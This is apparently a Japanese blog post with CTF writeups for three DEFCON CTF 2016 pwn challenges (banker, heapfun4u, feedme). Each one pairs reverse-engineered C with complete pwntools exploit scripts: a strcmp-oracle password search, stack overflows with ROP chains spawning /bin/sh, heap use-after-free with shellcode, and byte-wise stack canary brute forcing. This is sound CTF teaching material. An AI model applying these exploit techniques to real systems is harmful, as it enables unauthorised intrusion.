h_nosonの日記

競プロ、CTFなど

pwn challenges list easy writeup その6

前回

[DEFCON CTF 2016] banker - Pwnable

ELF 32bit、静的リンク、NX有効。

% file banker
banker: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped

% checksec banker
[*] '/home/hnoson/ctf/defcon/2016/banker/banker'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

/tmp/users.txtを作成すると実行できる。

% touch /tmp/users.txt

% ./banker
LegitBS Bank Terminal, Routing Number 766683678470
Current UTC time is: Sun Jun 10 15:33:37 2018

Enter username: aaa
Enter password: aaa
Invalid username/password, error code=0
Enter username: 

0x804a480で/tmp/users.txtを開き、0x804a0b7でユーザを一行ずつ読み込んでいる。 コードを読んでみるとスペースで区切られた3つの要素をそれぞれユーザ名、base64エンコードされたパスワード、adminかどうかのフラグであることがわかる。 そこでadminを作成して実行してみる。

% echo "admin `echo -n password | base64` 1" > /tmp/users.txt

% ./banker                                                   
LegitBS Bank Terminal, Routing Number 766683678470
Current UTC time is: Sun Jun 10 15:48:30 2018

Enter username: admin
Enter password: password
Successfully logged in as: admin
Commands:
1) New Transfer
2) View Pending Transfers
3) Delete Transfer
4) Logout and Commit Transfers
5) Logout and DO NOT commit Transfers
6) Admin Console
6
Admin Commands:
1) Create New User
2) View Users
3) Delete User
4) Exit

しかし、本番ではおそらくパスワードは公開されていないので何も知らない状態から特定する必要がある。

 % ./banker
LegitBS Bank Terminal, Routing Number 766683678470
Current UTC time is: Sun Jun 10 17:10:10 2018

Enter username: admin
Enter password: aa
Invalid username/password, error code=1
Enter username: admin
Enter password: zzzzzzzz
Invalid username/password, error code=-1
Enter username:

適当にパスワードを入力してみるとerror codeとして1または-1が出力される。これはstrcmpの出力であるため、二分探索をすることでパスワードを特定できる。

def search_password():
    s = process('./banker')

    letters = ''.join(sorted(string.letters + string.digits))
    length = len(letters)
    l = 0
    r = length ** 8 * 8
    while l + 1 < r:
        m = (l + r) // 2
        password = ''
        x = m
        for i in range(8):
            password = letters[x % length] + password
            x //= length
        password = password[:x+1]
        log.info('Password: %s' % password)
        s.sendlineafter('username: ', 'admin')
        s.sendlineafter('password: ', password)
        res = s.recvline(False)
        while 'delayed' in res:
            res = s.recvline(False)
        if 'Successfully' in res:
            return password
        elif '-1' in res:
            r = m
        else:
            l = m
    return None

Create New Userでは、パスワードを0x100文字まで入力できる。また、パスワードがalphanumericかどうか判定しているが、そうでなかったとしてもそれ以降の処理は変わらないので意味はない。

// 0x8049565
void create_user() {
    // read username
    ...
    // read password
    for (;;) {
        string pass;
        read_line(pass, buf, 0x100);
        if (pass.length < 6) {
            printf("Invalid password, must be a minimum of %d characters.\n");
            continue;
        }
    }
    for (int i = 0; i < pass.length; i++) {
        if (!isalnum(pass[i])) {
            printf("Invalid character %c in password, only alphanumeric is accepted.\n");
            break;
        }
    }
    // add user to /tmp/users.txt
}

次に/tmp/users.txtからユーザを読み込む処理を見てみる。

void load_user_info(FILE *fp, char *username, char *password, int *admin) {
    ...
    char *pass = base64_decode(encoded);
    strncpy(password, pass, strlen(encoded));
    ...
}

void load_users_info() {
    FILE *fp = fopen("/tmp/users.txt", "r");
    char password[8];
    ...
    load_user_info(fp, username, password, &admin);
    ...
}

エンコードされたパスワードを配列にコピーしているが、領域が8bytesしか用意されていないため、パスワードが長いユーザを作成するとスタックバッファオーバーフローする。このバイナリはSSPが無効なのでオーバーフローは検知されない。execve("/bin/sh",NULL,NULL)を実行してシェルを取った。

#!/usr/bin/env python
from pwn import *
import string

def enter_password(password = None):
    if password:
        s.sendlineafter('username: ', 'admin')
        s.sendlineafter('password: ', password)
        return True

    letters = ''.join(sorted(string.letters + string.digits))
    length = len(letters)
    l = 0
    r = length ** 8 * 8
    while l + 1 < r:
        m = (l + r) // 2
        password = ''
        x = m
        for i in range(8):
            password = letters[x % length] + password
            x //= length
        password = password[:x+1]
        log.info('Password: %s' % password)
        s.sendlineafter('username: ', 'admin')
        s.sendlineafter('password: ', password)
        res = s.recvline(False)
        while 'delayed' in res:
            res = s.recvline(False)
        print res
        if 'Successfully' in res:
            return True
        elif '-1' in res:
            r = m
        else:
            l = m
    return False

def create(username, password):
    delete(username)
    s.sendlineafter('Console\n', '6')
    s.sendlineafter('Exit\n', '1')
    s.sendlineafter('Username: ', username)
    s.sendlineafter('Password: ', password)
    s.sendlineafter('Exit\n', '4')

def delete(username):
    s.sendlineafter('Console\n', '6')
    s.sendlineafter('Exit\n', '3')
    s.sendlineafter('delete: ', username)
    s.sendlineafter('Exit\n', '4')

def logout():
    s.sendlineafter('Console\n', '5')

if __name__ == '__main__':
    s = process('./banker')

    elf = ELF('./banker')

    if not enter_password():
        exit(0)

    pop_eax = 0x8057c56
    pop_ecx_ebx = 0x8083651
    pop_edx = 0x808362a
    read_line = 0x804a6b0
    leave = 0x8048d98
    int_0x80 = 0x8084040

    payload = ''
    payload += 'A' * 0x3e
    payload += p32(elf.bss(0x500 - 0x4))

    # read_line(bss_addr, _, 0xfffffff)
    payload += p32(read_line)
    payload += p32(leave)
    payload += p32(elf.bss(0x600)) + p32(elf.bss(0x500)) + p32((1<<31)-1)

    create('A', payload)
    logout()

    # execve("/bin/sh", NULL, NULL)
    payload = ''
    payload += p32(pop_eax) + p32(0xb)
    payload += p32(pop_ecx_ebx) + p32(0) + p32(elf.bss(0x520))
    payload += p32(pop_edx) + p32(0)
    payload += p32(int_0x80)
    payload += '/bin/sh\0'
    s.sendline(payload)

    s.interactive()

[DEFCON CTF 2016] heapfun4u - Baby's First

ELF 64bit、NX有効。

 % file heapfun4u
heapfun4u: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=b019e6cbed93d55ebef500e8c4dec79ce592fa42, stripped
 % checksec heapfun4u
[*] '/home/hnoson/ctf/defcon/2016/heapfun4u/heapfun4u'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

解析した結果が以下のCコード(malloc, heapは静的解析をするのが面倒だったためCには移していない)

int num; // 0x602550
void *bin; // 0x602558
char *list[100]; // 0x6020a0
int sizes[100]; // 0x6023c0

void print_list() {
    for (int i = 0; i < 100; i++) {
        if (list[i]) {
            printf("%d) %p -- %d\n",i+1,list[i],sizes[i]);
        }
    }
}

void write_buffer() {
    char buf[0x10]; // rbp-0x20
    print_list();
    printf("Write where: ");
    if (!read(0,buf,0xf)) exit(0);
    int index = atoi(buf) - 1; // rbp-0x4
    if (index < 0 || index >= 100) exit(0);
    if (list[index] == NULL) exit(0);
    printf("Write what: ");
    if (!read(0,list[index],sizes[index])) exit(0);
}

void nice_guy() {
    int dummy; // rbp-0x4
    printf("Here you go: %p\n",&dummy);
}

int main(void) {
    char buf[0x100];
    memset();
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    for (;;) {
        puts("[A]llocate Buffer");
        puts("[F]ree Buffer");
        puts("[W]rite Buffer");
        puts("[N]ice guy");
        puts("[E]xit");
        printf("| ");
        if (!read(0,buf,0xff)) exit(0);
        switch (buf[0]) {
            case 'A':
                if (num == 100) exit(0);
                printf("Size: ");
                if (!read(0, buf, 0xff)) exit(0);
                int size = atoi(buf);
                list[num] = malloc(size);
                sizes[num] = size;
                if (!list[num]) exit(0);
                num++;
                break;
            case 'F':
                print_list();
                printf("Index: ");
                if (!read(0,buf,0x100)) exit(0);
                int index = atoi(buf) - 1;
                if (index < 0 || index >= 100) exit(0);
                if (list[index] == NULL) exit(0);
                free(list[index]); // use after free
                break;
            case 'W':
                write_buffer();
                break;
            case 'N':
                nice_guy();
                break;
            case 'E':
                puts("Leave");
                return 0;
            default:
                exit(0);
        }
    }
    return 0;
}
  • Allocate Buffer: 指定したサイズだけ領域をmallocで確保する
  • Free Buffer: 指定したインデックスの領域をfreeする(use after freeがある)
  • Write Buffer: 指定したインデックスに書き込みをする。この際heapのアドレスが出力される
  • Nice guy: stackのアドレスを出力する
  • Exit: return 0

関数名をmalloc, freeと命名したがこれらはlibcの関数ではなく独自のものが実装されている。すべてを解析したわけではないので重要な部分だけ示す。

  • それぞれのchunkはsizeの後にユーザが読み書きできる領域が来て、最後の2wordsはfreeされたときにfree listのポインタとして使われる。
sizebuffer...[fd][bk]
  • chunk sizeの1bit目は使用中かどうかを表すフラグ
  • free listは1つだけであり、先頭へのポインタは0x602558(bin)に格納されている
  • freeをするとそのchunkのfdにbinの値を書き込み、binをそのchunkへのポインタに書き換える
  • mallocするときはfree listを順番に辿っていって確保したいサイズより大きいchunkが見つかったらそれを返す。このとき返すchunkがfree listの先頭ならばbinをfdの値に書き換える。free listに適切なchunkがなければheapを拡張してその領域を返す

まず、use after freeの脆弱性があるためfreeしたあとにfdの値を書き換えて再びmallocすることでbinを任意のアドレスに設定でき、次のmallocでそのアドレスの領域を確保することができる。これによってstackを書き換えて戻り番地を操作できる。今回のheap領域は実行可能であるためheapにシェルコードを書き込み、戻り番地をheapのアドレスに書き換えてシェルを起動した。

#!/usr/bin/env python
from pwn import *

def allocate(sz):
    s.sendafter('| ', 'A')
    s.sendlineafter('Size: ', str(sz))

def free(index):
    s.sendafter('| ', 'F')
    s.sendlineafter('Index: ', str(index))

def write(index, content, num=0):
    s.sendafter('| ', 'W')
    ret = {}
    for _ in range(num):
        i = int(s.recvuntil(') ')[:-2])
        ret[i] = int(s.recvuntil(' ')[:-1], 16)
        s.recvline()
    s.sendlineafter('where: ', str(index))
    s.sendafter('what: ', content)
    return ret

def nice():
    s.sendafter('| ', 'N')
    s.recvuntil('go: ')
    return int(s.recvline(False), 16)

def leave():
    s.sendafter('| ', 'E')

if __name__ == '__main__':
    context.arch = 'x86_64'
    elf = ELF('./heapfun4u')

    s = process(['./heapfun4u'])
    list_addr = 0x6020a0

    stack_addr = nice() + 0x104
    log.info('stack address: %#x' % stack_addr)

    allocate(0x100)
    heap_base = write(1, 'A', 1)[1] - 0x8
    log.info('heap base: %#x' % heap_base)

    free(1)
    allocate(0x10)
    allocate(0x10)
    allocate(0x100)
    free(1)
    write(1, p64(stack_addr))

    allocate(0x10)
    s.sendafter('| ', 'A' * 0xf0 + p64(0x128))
    s.sendafter('Size: ', str(0x128))

    write(6, 'A' * 0x30 + p64(heap_base + 0x38))

    write(4, asm(shellcraft.sh()))
    leave()
    s.recvuntil('Leave\n')

    s.interactive()

[DEFCON CTF 2016] feedme - Baby's First

ELF 32bit、静的リンク、NXとSSP有効(checksecは__stack_chk_fail関数があるかどうかでSSPの判定をしているため検知されていない)。

 % file feedme
feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped
 % checksec feedme
[*] '/home/hnoson/ctf/defcon/2016/feedme/feedme'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

1byte目にサイズを受け取り、そのサイズ分入力を許しているがstack buffer overflowがある。 BOFSSPによって検知されるが、このプログラムはforkで何度も同じプログラムを実行しているため(canaryの値も同じ)、canaryを1byteずつ全探索することができる。 あとはROPすればシェルを起動できる。

#!/usr/bin/env python
from pwn import *

def feed(data):
    s.send(chr(len(data)))
    s.send(data)

if __name__ == '__main__':
    s = process('./feedme')

    elf = ELF('./feedme')

    int0x80 = 0x8049761
    pop_eax = 0x80bb496
    pop_ebx = 0x80481c9
    pop_edx = 0x806f34a
    lea_ecx_edx = 0x80e7bfa
    pop2ret = 0x804838d
    readn = 0x8048e7e

    payload = 'A' * 0x20
    for i in range(4):
        for j in range(0x100):
            feed(payload + chr(j))
            s.recvuntil('...\n')
            if s.recvline(False).startswith('YUM'):
                payload += chr(j)
                break

    payload += 'A' * 0xc

    payload += p32(readn)
    payload += p32(pop2ret)
    payload += p32(elf.bss(0x500)) + p32(8)

    payload += p32(pop_eax) + p32(0xb)
    payload += p32(pop_ebx) + p32(elf.bss(0x500))
    payload += p32(pop_edx) + p32(0)
    payload += p32(lea_ecx_edx)
    payload += p32(int0x80)
    feed(payload)
    s.send('/bin/sh\0')
    s.recvuntil('...\n')
    s.interactive()